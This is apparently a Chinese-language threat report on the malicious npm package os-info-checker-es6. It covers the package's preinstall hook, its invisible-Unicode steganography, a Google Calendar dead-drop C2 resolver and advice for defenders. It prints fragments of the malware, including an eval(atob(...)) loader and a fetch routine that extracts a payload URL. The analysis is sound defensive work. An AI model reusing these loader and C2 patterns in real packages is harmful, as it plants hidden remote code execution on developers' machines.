
1. 引言
發現惡意 npm 套件
os-info-checker-es6
突顯了軟體供應鏈攻擊中不斷演變的威脅格局。此活動於 2025 年 3 月首次被發現,顯示出從無害測試到複雜多階段惡意軟體框架的進展。該攻擊利用 Unicode steganography 隱藏惡意程式碼,並使用 Google Calendar 作為動態 command-and-control (C2) 解析器。本報告分析了該攻擊的技術機制,包括其混淆技術、payload 傳遞鏈和規避策略。

2. 攻擊鏈分解
2.1 初始階段:無害功能與測試
該套件最初看似無害,偽裝成作業系統資訊工具。版本 1.0.4 包含簡單的程式碼,用於收集系統詳細資訊(例如作業系統平台、架構、主機名稱),並在安裝過程中透過
preinstall.js
Hooks 寫入一個簡單的
run.txt
檔案。此階段可能用於測試 npm 的安裝 Hooks 並規避初步懷疑。
- // scripts/preinstall.js
- import fs from 'fs';
- console.log('>>>>>>>>>>> Executing preinstall script...');
- fs.writeFileSync('run.txt', 'true');
2.2 透過 Unicode Steganography 進行混淆
在 2025 年 3 月 22 日至 23 日發布的版本中,攻擊者引入了平台特定的編譯 Node.js 二進位檔案(例如
index_darwin.node
、
index_linux.node
),並修改了
preinstall.js
,加入了
Unicode steganography
技術。一個看似無害的垂直線(
|
)被附加了來自
Variation Selectors Supplement block (U+E0100–U+E01EF)
的隱形 Unicode 字元。這些字元被分類為非間距標記,沒有圖形,因此在大多數文字編輯器中不可見。
- const { decode } = require(`./src/index_${os.platform()}.node`);
- const decodedBytes = decode('|󠅉󠄢...'); // Invisible Unicode string
- const decodedString = Buffer.from(decodedBytes).toString('utf-8');
- eval(atob(decodedString)); // Executes decoded Base64
2.3 升級至多階段 Payload 傳遞
到 2025 年 5 月 7 日(版本 1.0.8),攻擊演變為多階段載入器。隱形 Unicode 字串大幅擴展,解碼為一個腳本(Script),內容(精簡版)如下:
- var krswqebjtt = async (e, t) => {
- const o = await fetch(e);
- if (o.ok) {
- t(null, (await o.text()).match(/data-base-title="([^"]*)"/)[1]);
- }
- };
- // Fetches Google Calendar event and extracts Base64 URL
3. 技術創新與規避策略
3.1 濫用合法服務
透過使用 Google Calendar 作為 dead drop resolver ,攻擊者隱藏了其 C2 基礎設施。短連結作為間接層,允許動態重新導向到新端點,而無需修改套件本身。
3.2 反分析措施
-
Payload Encryption
:最終 payload 使用 AES-256 加密,密鑰透過 HTTP 標頭傳遞,以規避靜態分析。
-
Conditional Execution
:惡意軟體在執行前檢查特定系統條件(例如
acxvacofz.length == 20
),表明針對特定環境的目標性攻擊。
3.3 依賴鏈擴展
該套件被嵌入為四個其他 npm 套件的依賴(
skip-tot
、
vue-dev-serverr
、
vue-dummyy
、
vue-bit
),可能是為了擴大散佈範圍。這些套件偽裝成開發者工具,進一步利用開源生態系統的信任。
4. 防禦建議
1.
依賴審計
:使用第三方套件掃描工具檢測具有異常安裝 Hooks 或 Unicode 異常的套件。
2.
網路限制
:在 CI/CD 管道中阻止外部連線,防止惡意套件聯繫外部伺服器。
3.
靜態分析
:實施掃描器以標記隱形 Unicode 字元和
eval(atob(...))
模式。
4.
行為監控
:追蹤意外檔案寫入(例如臨時鎖定檔案)和重複的 HTTP 重試行為。
5. 結論
「os-info-checker-es6」NPM惡意軟體攻擊揭示了供應鏈攻擊的進階演化,展現了攻擊者如何利用Unicode隱寫術隱藏惡意程式碼,並透過Google Calendar作為動態C2解析器,實現隱蔽與靈活的攻擊。從初始的偽裝功能到多階段payload傳遞,該活動結合混淆技術、合法服務濫用與依賴鏈擴展,挑戰現有防禦機制。此案例凸顯了軟體供應鏈安全的脆弱性,強調需加強依賴審計、靜態分析與行為監控。透過第三方套件掃描工具檢測異常,限制CI/CD管道的外部連線,以及掃描隱形Unicode與危險程式碼模式,可有效降低風險。未來,資安團隊應採取多層次防禦策略,結合主動審查與運行時監控,以應對日益複雜的威脅,確保開源生態系統的安全。
參考資料
- Sophisticated NPM Attack Leveraging Unicode Steganography and Google Calendar C2
- Malicious npm Package Leverages Unicode Steganography
- Veracode’s LinkedIn Post on the Campaign
- SC Magazine: Google Calendar Abuse in NPM Malware
- BleepingComputer Analysis
- SentinelOne’s Coverage
- LA Cyber Defense Recommendations
- CyberPress: Weaponized Google Calendar Invites
- CISO2CISO Summary
- Facebook Post by The Hacker News